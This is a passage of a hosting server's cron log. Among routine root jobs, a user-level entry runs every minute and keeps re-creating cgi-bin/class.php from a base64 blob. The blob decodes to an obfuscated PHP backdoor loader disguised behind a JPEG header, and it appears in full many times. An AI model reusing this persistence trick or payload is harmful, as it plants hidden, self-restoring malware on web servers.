JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:48:01 server CROND[8954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:49:01 server CROND[9027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:50:01 server CROND[9082]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 18:50:01 server CROND[9084]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 18:50:01 server CROND[9086]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 18:50:01 server CROND[9085]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 18:50:01 server CROND[9087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:51:01 server CROND[9199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:52:01 server CROND[9342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:53:01 server CROND[9410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:54:01 server CROND[9467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:55:01 server CROND[9519]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 18:55:01 server CROND[9520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 18:55:01 server CROND[9521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:56:01 server CROND[9632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:57:01 server CROND[9784]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 18:57:01 server CROND[9785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:58:01 server CROND[9840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:59:01 server CROND[9904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:00:01 server CROND[9958]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 19:00:01 server CROND[9959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:00:01 server CROND[9960]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 19:00:01 server CROND[9961]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 19:01:01 server CROND[10066]: (root) CMD (run-parts /etc/cron.hourly)
